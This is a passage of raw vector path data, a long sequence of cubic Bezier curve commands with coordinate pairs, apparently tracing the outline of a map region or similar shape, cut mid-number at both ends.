107317.89 166561.72 107373.14 166539.11 107427.80C166529.07 107447.87 166519.03 107467.93 166509.00 107488.00C166508.89 107498.82 166509.21 107509.64 166508.84 107520.46C166497.90 107552.64 166486.95 107584.82 166476.00 107617.00C166454.67 107617.00 166433.33 107617.00 166412.00 107617.00C166412.00 107638.33 166412.00 107659.67 166412.00 107681.00C166401.33 107702.33 166390.67 107723.67 166380.00 107745.00C166358.67 107755.67 166337.33 107766.33 166316.00 107777.00C166305.00 107755.67 166294.00 107734.33 166283.00 107713.00C166272.33 107713.00 166261.67 107713.00 166251.00 107713.00C166261.67 107691.67 166272.33 107670.33 166283.00 107649.00C166272.33 107627.33 166261.67 107605.67 166251.00 107584.00C166240.02 107607.02 166227.85 107629.51 166217.69 107652.91C166206.71 107684.84 166197.00 107717.25 166185.11 107748.84C166175.08 107769.23 166165.03 107789.61 166155.00 107810.00C166144.33 107810.00 166133.67 107810.00 166123.00 107810.00C166101.33 107852.67 166079.67 107895.33 166058.00 107938.00C166015.34 107981.01 165972.90 108024.24 165930.00 108067.00C165919.33 108067.00 165908.67 108067.00 165898.00 108067.00C165898.00 108088.33 165898.00 108109.67 165898.00 108131.00C165887.00 108131.00 165876.00 108131.00 165865.00 108131.00C165876.00 108141.67 165887.00 108152.33 165898.00 108163.00C165908.67 108163.00 165919.33 108163.00 165930.00 108163.00C165930.00 108195.33 165930.00 108227.67 165930.00 108260.00C165940.67 108260.00 165951.33 108260.00 165962.00 108260.00C165962.00 108292.00 165962.00 108324.00 165962.00 108356.00C165940.51 108355.90 165919.03 108356.20 165897.54 108355.85C165865.36 108345.23 165833.18 108334.62 165801.00 108324.00C165790.33 108313.33 165779.67 108302.67 165769.00 108292.00C165769.00 108302.67 165769.00 108313.33 165769.00 108324.00C165747.67 108324.00 165726.33 108324.00 165705.00 108324.00C165672.67 108302.67 165640.33 108281.33 165608.00 108260.00C165597.33 108260.00 165586.67 108260.00 165576.00 108260.00C165565.33 108270.67 165554.67 108281.33 165544.00 108292.00C165544.00 108302.67 165544.00 108313.33 165544.00 108324.00C165533.33 108313.33 165522.67 108302.67 165512.00 108292.00C165501.33 108302.67 165490.67 108313.33 165480.00 108324.00C165458.33 108324.00 165436.67 108324.00 165415.00 108324.00C165393.67 108367.00 165372.33 108410.00 165351.00 108453.00C165350.85 108463.81 165351.29 108474.63 165350.78 108485.43C165340.20 108506.80 165329.30 108528.01 165318.91 108549.47C165308.27 108602.98 165297.64 108656.49 165287.00 108710.00C165265.33 108752.67 165243.67 108795.33 165222.00 108838.00C165222.00 108859.67 165222.00 108881.33 165222.00 108903.00C165243.92 108924.08 165265.59 108945.40 165287.00 108967.00C165276.33 108988.33 165265.67 109009.67 165255.00 109031.00C165255.00 109063.33 165255.00 109095.67 165255.00 109128.00C165233.33 109138.67 165211.67 109149.33 165190.00 109160.00C165168.67 109213.67 165147.33 109267.33 165126.00 109321.00C165104.67 109331.67 165083.33 109342.33 165062.00 109353.00C165104.67 109374.33 165147.33 109395.67 165190.00 109417.00C165233.00 109417.00 165276.00 109417.00 165319.00 109417.00C165329.67 109427.67 165340.33 109438.33 165351.00 109449.00C165372.33 109438.33 165393.67 109427.67 165415.00 109417.00C165436.67 109427.67 165458.33 109438.33 165480.00 109449.00C165480.00 109470.67 165480.00 109492.33 165480.00 109514.00C165490.67 109524.67 165501.33 109535.33 165512.00 109546.00C165512.00 109567.33 165512.00 109588.67 165512.00 109610.00C165522.67 109620.67 165533.33 109631.33 165544.00 109642.00C165533.33 109652.67 165522.67 109663.33 165512.00 109674.00C165512.00 109685.00 165512.00 109696.00 165512.00 109707.00C165490.67 109707.00 165469.33 109707.00 165448.00 109707.00C165448.00 109717.67 165448.00 109728.33 165448.00 109739.00C165437.00 109749.67 165426.00 109760.33 165415.00 109771.00C165415.00 109803.00 165415.00 109835.00 165415.00 109867.00C165404.33 109888.67 165393.67 109910.33 165383.00 109932.00C165361.67 109932.00 165340.33 109932.00 165319.00 109932.00C165308.33 109910.33 165297.67 109888.67 165287.00 109867.00C165265.33 109888.67 165243.67 109910.33 165222.00 109932.00C165211.33 109932.00 165200.67 109932.00 165190.00 109932.00C165179.33 109942.67 165168.67 109953.33 165158.00 109964.00C165136.67 109942.33 165115.33 109920.67 165094.00 109899.00C165083.33 109899.00 165072.67 109899.00 165062.00 109899.00C165062.00 109888.33 165062.00 109877.67 165062.00 109867.00C165029.67 109845.67 164997.33 109824.33 164965.00 109803.00C164954.33 109813.67 164943.67 109824.33 164933.00 109835.00C164901.00 109845.67 164869.00 109856.33 164837.00 109867.00C164826.00 109867.00 164815.00 109867.00 164804.00 109867.00C164793.33 109877.67 164782.67 109888.33 164772.00 109899.00C164761.19 109898.85 164750.37 109899.29 164739.57 109898.78C164718.38 109888.19 164697.19 109877.59 164676.00 109867.00C164643.67 109867.00 164611.33 109867.00 164579.00 109867.00C164568.33 109856.33 164557.67 109845.67 164547.00 109835.00C164547.00 109824.33 164547.00 109813.67 164547.00 109803.00C164515.00 109803.00 164483.00 109803.00 164451.00 109803.00C164429.33 109813.67 164407.67 109824.33 164386.00 109835.00C164386.00 109867.33 164386.00 109899.67 164386.00 109932.00C164364.30 109975.84 164341.88 110019.33 164320.65 110063.39C164299.77 110115.93 164278.88 110168.46 164258.00 110221.00C164225.67 110253.00 164193.33 110285.00 164161.00 110317.00C164150.33 110317.00 164139.67 110317.00 164129.00 110317.00C164118.33 110360.00 164107.67 110403.00 164097.00 110446.00C164097.00 110467.33 164097.00 110488.67 164097.00 110510.00C164065.00 110574.33 164033.00 110638.67 164001.00 110703.00C164001.00 110735.33 164001.00 110767.67 164001.00 110800.00C164022.33 110800.00 164043.67 110800.00 164065.00 110800.00C164064.96 110817.06 164065.93 110834.34 164061.84 110851.07C164052.23 110909.05 164042.61 110967.02 164033.00 111025.00C164011.33 111057.00 163989.67 111089.00 163968.00 111121.00C163979.00 111174.67 163990.00 111228.33 164001.00 111282.00C164033.00 111292.67 164065.00 111303.33 164097.00 111314.00C164097.00 111335.67 164097.00 111357.33 164097.00 111379.00C164075.67 111400.33 164054.33 111421.67 164033.00 111443.00C164043.67 111475.00 164054.33 111507.00 164065.00 111539.00C164054.33 111549.67 164043.67 111560.33 164033.00 111571.00C164022.33 111571.00 164011.67 111571.00 164001.00 111571.00C164001.00 111592.67 164001.00 111614.33 164001.00 111636.00C164011.67 111646.67 164022.33 111657.33 164033.00 111668.00C164033.00 111689.33 164033.00 111710.67 164033.00 111732.00C164065.00 111753.67 164097.00 111775.33 164129.00 111797.00C164086.33 111807.67 164043.67 111818.33 164001.00 111829.00C163979.33 111861.00 163957.67 111893.00 163936.00 111925.00C163925.33 111925.00 163914.67 111925.00 163904.00 111925.00C163904.00 111946.33 163904.00 111967.67 163904.00 111989.00C163882.67 111989.00 163861.33 111989.00 163840.00 111989.00C163840.00 112010.67 163840.00 112032.33 163840.00 112054.00C163861.33 112064.67 163882.67 112075.33 163904.00 112086.00C163882.67 112107.33 163861.33 112128.67 163840.00 112150.00C163850.67 112160.67 163861.33 112171.33 163872.00 112182.00C163872.00 112225.00 163872.00 112268.00 163872.00 112311.00C163829.00 112332.33 163786.00 112353.67 163743.00 112375.00C163775.43 112396.81 163807.99 112418.41 163840.34 112440.34C163850.89 112450.89 163861.45 112461.45 163872.00 112472.00C163904.00 112461.33 163936.00 112450.67 163968.00 112440.00C163989.67 112450.67 164011.33 112461.33 164033.00 112472.00C164054.33 112493.33 164075.67 112514.67 164097.00 112536.00C164150.67 112546.67 164204.33 112557.33 164258.00 112568.00C164258.00 112589.33 164258.00 112610.67 164258.00 112632.00C164279.33 112664.33 164300.67 112696.67 164322.00 112729.00C164332.67 112729.00 164343.33 112729.00 164354.00 112729.00C164354.00 112750.33 164354.00 112771.67 164354.00 112793.00C164375.67 112793.00 164397.33 112793.00 164419.00 112793.00C164419.00 112825.33 164419.00 112857.67 164419.00 112890.00C164408.00 112911.33 164397.00 112932.67 164386.00 112954.00C164407.92 112975.08 164429.59 112996.40 164451.00 113018.00C164472.33 113071.67 164493.67 113125.33 164515.00 113179.00C164547.33 113200.33 164579.67 113221.67 164612.00 113243.00C164633.33 113221.67 164654.67 113200.33 164676.00 113179.00C164708.00 113179.00 164740.00 113179.00 164772.00 113179.00C164761.33 113189.67 164750.67 113200.33 164740.00 113211.00C164750.67 113232.67 164761.33 113254.33 164772.00 113276.00C164761.33 113276.00 164750.67 113276.00 164740.00 113276.00C164740.00 113308.00 164740.00 113340.00 164740.00 113372.00C164761.33 113382.67 164782.67 113393.33 164804.00 113404.00C164815.00 113425.33 164826.00 113446.67 164837.00 113468.00C164858.33 113446.67 164879.67 113425.33 164901.00 113404.00C164911.67 113404.00 164922.33 113404.00 164933.00 113404.00C164954.84 113437.68 164977.77 113470.69 164998.89 113504.80C165008.93 113524.87 165018.97 113544.93 165029.00 113565.00C165040.00 113532.67 165051.00 113500.33 165062.00 113468.00C165062.00 113446.67 165062.00 113425.33 165062.00 113404.00C165072.89 113415.62 165085.41 113425.88 165095.20 113438.43C165105.47 113459.29 165115.73 113480.15 165126.00 113501.00C165147.33 113511.67 165168.67 113522.33 165190.00 113533.00C165179.33 113554.33 165168.67 113575.67 165158.00 113597.00C165169.62 113607.89 165179.88 113620.41 165192.43 113630.20C165213.29 113640.47 165234.15 113650.73 165255.00 113661.00C165265.67 113672.00 165276.33 113683.00 165287.00 113694.00C165287.00 113726.00 165287.00 113758.00 165287.00 113790.00C165297.67 113800.67 165308.33 113811.33 165319.00 113822.00C165329.67 113822.00 165340.33 113822.00 165351.00 113822.00C165361.67 113854.33 165372.33 113886.67 165383.00 113919.00C165393.67 113929.67 165404.33 113940.33 165415.00 113951.00C165447.33 113940.33 165479.67 113929.67 165512.00 113919.00C165522.67 113940.33 165533.33 113961.67 165544.00 113983.00C165576.00 113983.00 165608.00 113983.00 165640.00 113983.00C165661.67 114015.00 165683.33 114047.00 165705.00 114079.00C165694.33 114100.67 165683.67 114122.33 165673.00 114144.00C165683.67 114165.33 165694.33 114186.67 165705.00 114208.00C165694.33 114229.33 165683.67 114250.67 165673.00 114272.00C165694.33 114293.67 165715.67 114315.33 165737.00 114337.00C165747.67 114358.33 165758.33 114379.67 165769.00 114401.00C165758.33 114422.33 165747.67 114443.67 165737.00 114465.00C165747.67 114454.33 165758.33 114443.67 165769.00 114433.00C165790.33 114443.67 165811.67 114454.33 165833.00 114465.00C165843.67 114486.67 165854.33 114508.33 165865.00 114530.00C165865.00 114540.67 165865.00 114551.33 165865.00 114562.00C165811.67 114637.00 165758.33 114712.00 165705.00 114787.00C165619.33 114829.67 165533.67 114872.33 165448.00 114915.00C165448.00 114925.67 165448.00 114936.33 165448.00 114947.00C165460.56 114959.01 165471.30 114973.12 165485.30 114983.52C165516.85 115004.22 165547.77 115025.96 165579.80 115045.89C165599.86 115055.93 165619.93 115065.97 165640.00 115076.00C165640.00 115119.00 165640.00 115162.00 165640.00 115205.00C165576.05 115172.57 165512.22 115139.89 165448.00 115108.00C165437.00 115108.00 165426.00 115108.00 165415.00 115108.00C165383.00 115086.67 165351.00 115065.33 165319.00 115044.00C165319.00 115033.33 165319.00 115022.67 165319.00 115012.00C165297.67 115022.67 165276.33 115033.33 165255.00 115044.00C165244.00 115022.67 165233.00 115001.33 165222.00 114980.00C165211.33 114980.00 165200.67 114980.00 165190.00 114980.00C165168.67 114958.33 165147.33 114936.67 165126.00 114915.00C165104.67 114915.00 165083.33 114915.00 165062.00 114915.00C165051.00 114925.67 165040.00 114936.33 165029.00 114947.00C165007.67 114936.33 164986.33 114925.67 164965.00 114915.00C164954.33 114925.67 164943.67 114936.33 164933.00 114947.00C164911.67 114947.00 164890.33 114947.00 164869.00 114947.00C164869.00 114936.33 164869.00 114925.67 164869.00 114915.00C164804.67 114915.00 164740.33 114915.00 164676.00 114915.00C164633.00 114904.33 164590.00 114893.67 164547.00 114883.00C164536.33 114904.33 164525.67 114925.67 164515.00 114947.00C164483.00 114915.00 164451.00 114883.00 164419.00 114851.00C164386.67 114851.00 164354.33 114851.00 164322.00 114851.00C164300.67 114819.00 164279.33 114787.00 164258.00 114755.00C164247.33 114755.00 164236.67 114755.00 164226.00 114755.00C164161.84 114797.16 164097.92 114839.71 164034.00 114882.23C164021.29 114884.00 164008.41 114882.51 163995.61 114883.00C163975.74 114883.00 163955.87 114883.00 163936.00 114883.00C163936.00 114915.33 163936.00 114947.67 163936.00 114980.00C163893.33 114980.00 163850.67 114980.00 163808.00 114980.00C163808.00 115001.33 163808.00 115022.67 163808.00 115044.00C163797.33 115065.33 163786.67 115086.67 163776.00 115108.00C163786.67 115118.67 163797.33 115129.33 163808.00 115140.00C163786.33 115151.00 163764.67 115162.00 163743.00 115173.00C163743.00 115194.33 163743.00 115215.67 163743.00 115237.00C163711.00 115247.67 163679.00 115258.33 163647.00 115269.00C163636.18 115290.43 163625.70 115312.03 163614.66 115333.35C163604.11 115344.23 163593.55 115355.12 163583.00 115366.00C163561.33 115355.00 163539.67 115344.00 163518.00 115333.00C163507.33 115344.00 163496.67 115355.00 163486.00 115366.00C163475.33 115355.00 163464.67 115344.00 163454.00 115333.00C163421.67 115354.67 163389.33 115376.33 163357.00 115398.00C163346.33 115387.33 163335.67 115376.67 163325.00 115366.00C163325.00 115344.33 163325.00 115322.67 163325.00 115301.00C163282.33 115301.00 163239.67 115301.00 163197.00 115301.00C163186.33 115311.67 163175.67 115322.33 163165.00 115333.00C163143.33 115322.33 163121.67 115311.67 163100.00 115301.00C163078.67 115301.00 163057.33 115301.00 163036.00 115301.00C163046.67 115269.00 163057.33 115237.00 163068.00 115205.00C163057.33 115205.00 163046.67 115205.00 163036.00 115205.00C163036.00 115194.33 163036.00 115183.67 163036.00 115173.00C163025.19 115173.15 163014.37 115172.71 163003.57 115173.22C162982.38 115183.81 162961.19 115194.41 162940.00 115205.00C162950.67 115183.33 162961.33 115161.67 162972.00 115140.00C162961.33 115118.67 162950.67 115097.33 162940.00 115076.00C162929.00 115076.00 162918.00 115076.00 162907.00 115076.00C162896.33 115065.33 162885.67 115054.67 162875.00 115044.00C162853.67 115065.33 162832.33 115086.67 162811.00 115108.00C162800.33 115097.33 162789.67 115086.67 162779.00 115076.00C162768.33 115076.00 162757.67 115076.00 162747.00 115076.00C162714.54 115119.10 162682.22 115162.31 162649.66 115205.34C162639.11 115215.89 162628.55 115226.45 162618.00 115237.00C162607.33 115226.33 162596.67 115215.67 162586.00 115205.00C162575.33 115205.00 162564.67 115205.00 162554.00 115205.00C162543.00 115183.33 162532.00 115161.67 162521.00 115140.00C162510.33 115161.67 162499.67 115183.33 162489.00 115205.00C162478.33 115205.00 162467.67 115205.00 162457.00 115205.00C162446.33 115215.67 162435.67 115226.33 162425.00 115237.00C162628.67 115430.00 162832.33 115623.00 163036.00 115816.00C163046.67 115891.00 163057.33 115966.00 163068.00 116041.00C163025.33 116051.67 162982.67 116062.33 162940.00 116073.00C162929.00 116062.33 162918.00 116051.67 162907.00 116041.00C162875.00 116030.33 162843.00 116019.67 162811.00 116009.00C162768.00 116009.00 162725.00 116009.00 162682.00 116009.00C162671.33 115998.00 162660.67 115987.00 162650.00 115976.00C162639.33 115976.00 162628.67 115976.00 162618.00 115976.00C162618.00 115954.67 162618.00 115933.33 162618.00 115912.00C162596.67 115901.33 162575.33 115890.67 162554.00 115880.00C162532.33 115880.00 162510.67 115880.00 162489.00 115880.00C162489.00 115858.67 162489.00 115837.33 162489.00 115816.00C162478.33 115826.67 162467.67 115837.33 162457.00 115848.00C162446.33 115837.33 162435.67 115826.67 162425.00 115816.00C162425.00 115826.67 162425.00 115837.33 162425.00 115848.00C162414.33 115848.00 162403.67 115848.00 162393.00 115848.00C162360.94 115880.28 162328.39 115912.06 162296.00 115944.00C162285.33 115944.00 162274.67 115944.00 162264.00 115944.00C162253.33 115933.33 162242.67 115922.67 162232.00 115912.00C162221.33 115912.00 162210.67 115912.00 162200.00 115912.00C162200.00 115955.00 162200.00 115998.00 162200.00 116041.00C162189.33 116041.00 162178.67 116041.00 162168.00 116041.00C162156.38 116030.09 162146.09 116017.61 162133.57 116007.77C162112.72 115997.16 162091.85 115986.59 162071.00 115976.00C162060.33 115987.00 162049.67 115998.00 162039.00 116009.00C162028.33 116041.00 162017.67 116073.00 162007.00 116105.00C161975.00 116105.00 161943.00 116105.00 161911.00 116105.00C161911.00 116083.67 161911.00 116062.33 161911.00 116041.00C161889.33 116041.00 161867.67 116041.00 161846.00 116041.00C161835.33 116073.00 161824.67 116105.00 161814.00 116137.00C161803.33 116137.00 161792.67 116137.00 161782.00 116137.00C161792.67 116115.67 161803.33 116094.33 161814.00 116073.00C161782.00 116083.67 161750.00 116094.33 161718.00 116105.00C161718.00 116126.33 161718.00 116147.67 161718.00 116169.00C161696.33 116169.00 161674.67 116169.00 161653.00 116169.00C161610.33 116190.67 161567.67 116212.33 161525.00 116234.00C161525.00 116255.33 161525.00 116276.67 161525.00 116298.00C161514.33 116308.67 161503.67 116319.33 161493.00 116330.00C161493.00 116340.67 161493.00 116351.33 161493.00 116362.00C161503.67 116372.67 161514.33 116383.33 161525.00 116394.00C161525.00 116405.00 161525.00 116416.00 161525.00 116427.00C161514.33 116427.00 161503.67 116427.00 161493.00 116427.00C161493.00 116448.33 161493.00 116469.67 161493.00 116491.00C161503.67 116501.67 161514.33 116512.33 161525.00 116523.00C161470.69 116566.79 161415.83 116609.93 161361.86 116654.13C161319.65 116696.16 161277.95 116738.71 161235.00 116780.00C161235.00 116823.00 161235.00 116866.00 161235.00 116909.00C161246.00 116919.67 161257.00 116930.33 161268.00 116941.00C161268.00 117005.33 161268.00 117069.67 161268.00 117134.00C161246.33 117134.00 161224.67 117134.00 161203.00 117134.00C161203.00 117177.00 161203.00 117220.00 161203.00 117263.00C161235.33 117263.00 161267.67 117263.00 161300.00 117263.00C161256.90 117284.13 161213.90 117305.46 161171.00 117327.00C161149.67 117359.00 161128.33 117391.00 161107.00 117423.00C161117.67 117433.67 161128.33 117444.33 161139.00 117455.00C161279.17 117465.94 161419.30 117477.39 161559.49 117488.00C161601.82 117488.06 161644.14 117487.87 161686.47 117488.09C161739.81 117498.70 161793.11 117509.55 161846.48 117520.00C161856.99 117520.00 161867.49 117520.00 161878.00 117520.00C161877.55 117544.05 161878.98 117568.18 161877.10 117592.18C161866.73 117686.28 161856.27 117780.37 161846.00 117874.48C161846.00 117906.32 161846.00 117938.16 161846.00 117970.00C161835.33 117970.00 161824.67 117970.00 161814.00 117970.00C161803.33 118055.67 161792.67 118141.33 161782.00 118227.00C161792.67 118237.67 161803.33 118248.33 161814.00 118259.00C161814.00 118269.67 161814.00 118280.33 161814.00 118291.00C161792.92 118312.92 161771.60 118334.59 161750.00 118356.00C161739.33 118356.00 161728.67 118356.00 161718.00 118356.00C161718.00 118366.67 161718.00 118377.33 161718.00 118388.00C161739.33 118398.67 161760.67 118409.33 161782.00 118420.00C161771.33 118430.67 161760.67 118441.33 161750.00 118452.00C161771.33 118441.33 161792.67 118430.67 161814.00 118420.00C161814.00 118430.67 161814.00 118441.33 161814.00 118452.00C161824.67 118452.00 161835.33 118452.00 161846.00 118452.00C161835.33 118462.67 161824.67 118473.33 161814.00 118484.00C161835.33 118484.00 161856.67 118484.00 161878.00 118484.00C161899.67 118505.67 161921.33 118527.33 161943.00 118549.00C161964.33 118549.00 161985.67 118549.00 162007.00 118549.00C162017.67 118559.67 162028.33 118570.33 162039.00 118581.00C162092.67 118591.67 162146.33 118602.33 162200.00 118613.00C162210.67 118623.67 162221.33 118634.33 162232.00 118645.00C162242.64 118709.50 162253.49 118773.96 162264.00 118838.48C162264.00 118913.32 162264.00 118988.16 162264.00 119063.00C162285.67 119084.33 162307.33 119105.67 162329.00 119127.00C162318.00 119138.00 162307.00 119149.00 162296.00 119160.00C162317.67 119170.67 162339.33 119181.33 162361.00 119192.00C162361.00 119213.33 162361.00 119234.67 162361.00 119256.00C162328.91 119288.58 162295.44 119319.77 162264.00 119353.00C162253.33 119342.00 162242.67 119331.00 162232.00 119320.00C162220.38 119331.22 162210.18 119344.09 162197.60 119354.21C162177.07 119364.48 162156.53 119374.73 162136.00 119385.00C161910.67 119385.00 161685.33 119385.00 161460.00 119385.00C161438.67 119352.67 161417.33 119320.33 161396.00 119288.00C161396.00 119277.33 161396.00 119266.67 161396.00 119256.00C161385.10 119244.39 161372.63 119234.11 161362.79 119221.60C161352.53 119201.07 161342.27 119180.53 161332.00 119160.00C161310.67 119170.67 161289.33 119181.33 161268.00 119192.00C161139.33 119192.00 161010.67 119192.00 160882.00 119192.00C160860.33 119224.00 160838.67 119256.00 160817.00 119288.00C160828.00 119309.67 160839.00 119331.33 160850.00 119353.00C160839.00 119374.33 160828.00 119395.67 160817.00 119417.00C160828.00 119417.00 160839.00 119417.00 160850.00 119417.00C160839.00 119427.67 160828.00 119438.33 160817.00 119449.00C160828.00 119459.67 160839.00 119470.33 160850.00 119481.00C160860.67 119481.00 160871.33 119481.00 160882.00 119481.00C160903.33 119513.33 160924.67 119545.67 160946.00 119578.00C160956.67 119567.00 160967.33 119556.00 160978.00 119545.00C160978.00 119513.00 160978.00 119481.00 160978.00 119449.00C160999.33 119470.33 161020.67 119491.67 161042.00 119513.00C161053.15 119512.90 161064.31 119513.21 161075.46 119512.85C161107.31 119502.23 161139.15 119491.62 161171.00 119481.00C161181.89 119492.62 161194.41 119502.88 161204.20 119515.43C161214.47 119536.29 161224.73 119557.15 161235.00 119578.00C161235.00 119588.67 161235.00 119599.33 161235.00 119610.00C161256.67 119610.00 161278.33 119610.00 161300.00 119610.00C161321.33 119620.67 161342.67 119631.33 161364.00 119642.00C161374.82 119663.43 161385.29 119685.03 161396.34 119706.34C161406.89 119716.89 161417.45 119727.45 161428.00 119738.00C161428.00 119759.67 161428.00 119781.33 161428.00 119803.00C161438.67 119803.00 161449.33 119803.00 161460.00 119803.00C161471.00 119813.67 161482.00 119824.33 161493.00 119835.00C161525.00 119845.67 161557.00 119856.33 161589.00 119867.00C161589.00 119877.67 161589.00 119888.33 161589.00 119899.00C161610.33 119899.00 161631.67 119899.00 161653.00 119899.00C161653.00 119909.67 161653.00 119920.33 161653.00 119931.00C161664.00 119952.67 161675.00 119974.33 161686.00 119996.00C161696.67 119996.00 161707.33 119996.00 161718.00 119996.00C161718.00 120006.67 161718.00 120017.33 161718.00 120028.00C161728.67 120038.67 161739.33 120049.33 161750.00 120060.00C161782.00 120060.00 161814.00 120060.00 161846.00 120060.00C161856.67 120049.33 161867.33 120038.67 161878.00 120028.00C161878.00 120049.33 161878.00 120070.67 161878.00 120092.00C161867.33 120092.00 161856.67 120092.00 161846.00 120092.00C161803.33 120124.33 161760.67 120156.67 161718.00 120189.00C161696.33 120189.00 161674.67 120189.00 161653.00 120189.00C161653.00 120210.33 161653.00 120231.67 161653.00 120253.00C161642.33 120263.67 161631.67 120274.33 161621.00 120285.00C161642.67 120306.33 161664.33 120327.67 161686.00 120349.00C161675.00 120370.67 161664.00 120392.33 161653.00 120414.00C161664.00 120424.67 161675.00 120435.33 161686.00 120446.00C161696.67 120446.00 161707.33 120446.00 161718.00 120446.00C161718.00 120467.33 161718.00 120488.67 161718.00 120510.00C161750.00 120510.00 161782.00 120510.00 161814.00 120510.00C161824.67 120531.33 161835.33 120552.67 161846.00 120574.00C161856.67 120563.33 161867.33 120552.67 161878.00 120542.00C161889.00 120542.00 161900.00 120542.00 161911.00 120542.00C161911.00 120563.67 161911.00 120585.33 161911.00 120607.00C161921.67 120596.00 161932.33 120585.00 161943.00 120574.00C161943.00 120606.33 161943.00 120638.67 161943.00 120671.00C161975.00 120671.00 162007.00 120671.00 162039.00 120671.00C162060.41 120692.60 162082.08 120713.92 162104.00 120735.00C162104.00 120745.67 162104.00 120756.33 162104.00 120767.00C162114.67 120767.00 162125.33 120767.00 162136.00 120767.00C162146.67 120777.67 162157.33 120788.33 162168.00 120799.00C162168.00 120820.67 162168.00 120842.33 162168.00 120864.00C162189.33 120864.00 162210.67 120864.00 162232.00 120864.00C162221.33 120885.33 162210.67 120906.67 162200.00 120928.00C162221.33 120949.33 162242.67 120970.67 162264.00 120992.00C162264.00 121013.67 162264.00 121035.33 162264.00 121057.00C162274.67 121057.00 162285.33 121057.00 162296.00 121057.00C162296.00 121067.67 162296.00 121078.33 162296.00 121089.00C162307.00 121089.00 162318.00 121089.00 162329.00 121089.00C162318.00 121099.67 162307.00 121110.33 162296.00 121121.00C162307.00 121131.67 162318.00 121142.33 162329.00 121153.00C162329.00 121174.33 162329.00 121195.67 162329.00 121217.00C162318.00 121228.00 162307.00 121239.00 162296.00 121250.00C162285.33 121250.00 162274.67 121250.00 162264.00 121250.00C162264.00 121271.33 162264.00 121292.67 162264.00 121314.00C162274.67 121324.67 162285.33 121335.33 162296.00 121346.00C162285.33 121356.67 162274.67 121367.33 162264.00 121378.00C162274.81 121378.14 162285.63 121377.71 162296.43 121378.21C162317.95 121388.81 162339.48 121399.40 162361.00 121410.00C162361.00 121442.33 162361.00 121474.67 162361.00 121507.00C162339.33 121507.00 162317.67 121507.00 162296.00 121507.00C162274.67 121517.67 162253.33 121528.33 162232.00 121539.00C162242.67 121549.67 162253.33 121560.33 162264.00 121571.00C162285.67 121571.00 162307.33 121571.00 162329.00 121571.00C162318.00 121581.67 162307.00 121592.33 162296.00 121603.00C162296.00 121613.67 162296.00 121624.33 162296.00 121635.00C162328.33 121635.00 162360.67 121635.00 162393.00 121635.00C162403.67 121646.00 162414.33 121657.00 162425.00 121668.00C162414.33 121689.33 162403.67 121710.67 162393.00 121732.00C162382.33 121732.00 162371.67 121732.00 162361.00 121732.00C162350.33 121742.67 162339.67 121753.33 162329.00 121764.00C162318.00 121764.00 162307.00 121764.00 162296.00 121764.00C162285.33 121796.00 162274.67 121828.00 162264.00 121860.00C162264.00 121881.67 162264.00 121903.33 162264.00 121925.00C162285.67 121935.67 162307.33 121946.33 162329.00 121957.00C162318.00 121967.67 162307.00 121978.33 162296.00 121989.00C162296.00 121999.67 162296.00 122010.33 162296.00 122021.00C162253.33 122053.33 162210.67 122085.67 162168.00 122118.00C162168.00 122150.00 162168.00 122182.00 162168.00 122214.00C162157.33 122224.67 162146.67 122235.33 162136.00 122246.00C162136.00 122256.67 162136.00 122267.33 162136.00 122278.00C162146.67 122289.00 162157.33 122300.00 162168.00 122311.00C162168.00 122332.33 162168.00 122353.67 162168.00 122375.00C162189.33 122385.67 162210.67 122396.33 162232.00 122407.00C162221.33 122417.67 162210.67 122428.33 162200.00 122439.00C162200.00 122449.67 162200.00 122460.33 162200.00 122471.00C162168.00 122514.00 162136.00 122557.00 162104.00 122600.00C162104.00 122610.67 162104.00 122621.33 162104.00 122632.00C162050.33 122632.00 161996.67 122632.00 161943.00 122632.00C161878.62 122610.82 161814.28 122589.49 161750.00 122568.00C161750.00 122589.33 161750.00 122610.67 161750.00 122632.00C161760.67 122653.33 161771.33 122674.67 161782.00 122696.00C161771.33 122728.33 161760.67 122760.67 161750.00 122793.00C161771.54 122835.90 161792.87 122878.90 161814.00 122922.00C161814.00 122932.67 161814.00 122943.33 161814.00 122954.00C161782.00 122964.67 161750.00 122975.33 161718.00 122986.00C161718.00 122996.67 161718.00 123007.33 161718.00 123018.00C161685.67 123018.00 161653.33 123018.00 161621.00 123018.00C161621.00 123039.33 161621.00 123060.67 161621.00 123082.00C161599.67 123082.00 161578.33 123082.00 161557.00 123082.00C161546.33 123092.67 161535.67 123103.33 161525.00 123114.00C161514.33 123114.00 161503.67 123114.00 161493.00 123114.00C161482.00 123167.67 161471.00 123221.33 161460.00 123275.00C161449.33 123285.67 161438.67 123296.33 161428.00 123307.00C161406.67 123307.00 161385.33 123307.00 161364.00 123307.00C161353.33 123328.67 161342.67 123350.33 161332.00 123372.00C161310.67 123382.67 161289.33 123393.33 161268.00 123404.00C161246.33 123404.00 161224.67 123404.00 161203.00 123404.00C161192.33 123414.67 161181.67 123425.33 161171.00 123436.00C161160.33 123468.00 161149.67 123500.00 161139.00 123532.00C161149.67 123543.00 161160.33 123554.00 161171.00 123565.00C161160.33 123575.67 161149.67 123586.33 161139.00 123597.00C161139.00 123629.00 161139.00 123661.00 161139.00 123693.00C161128.33 123714.67 161117.67 123736.33 161107.00 123758.00C161117.67 123768.67 161128.33 123779.33 161139.00 123790.00C161117.67 123800.67 161096.33 123811.33 161075.00 123822.00C161075.00 123843.33 161075.00 123864.67 161075.00 123886.00C161096.33 123896.67 161117.67 123907.33 161139.00 123918.00C161149.67 123939.67 161160.33 123961.33 161171.00 123983.00C161160.33 123983.00 161149.67 123983.00 161139.00 123983.00C161139.00 123993.67 161139.00 124004.33 161139.00 124015.00C161160.33 124025.67 161181.67 124036.33 161203.00 124047.00C161192.05 124069.70 161179.79 124091.80 161169.71 124114.90C161159.47 124145.93 161149.24 124176.97 161139.00 124208.00C161128.33 124208.00 161117.67 124208.00 161107.00 124208.00C161117.67 124229.33 161128.33 124250.67 161139.00 124272.00C161139.00 124282.67 161139.00 124293.33 161139.00 124304.00C161128.33 124304.00 161117.67 124304.00 161107.00 124304.00C161107.00 124368.33 161107.00 124432.67 161107.00 124497.00C161074.67 124529.33 161042.33 124561.67 161010.00 124594.00C160999.33 124583.00 160988.67 124572.00 160978.00 124561.00C160946.00 124572.00 160914.00 124583.00 160882.00 124594.00C160882.00 124615.33 160882.00 124636.67 160882.00 124658.00C160860.33 124690.00 160838.67 124722.00 160817.00 124754.00C160806.33 124754.00 160795.67 124754.00 160785.00 124754.00C160774.33 124743.33 160763.67 124732.67 160753.00 124722.00C160731.67 124732.67 160710.33 124743.33 160689.00 124754.00C160646.00 124754.00 160603.00 124754.00 160560.00 124754.00C160549.33 124764.67 160538.67 124775.33 160528.00 124786.00C160517.33 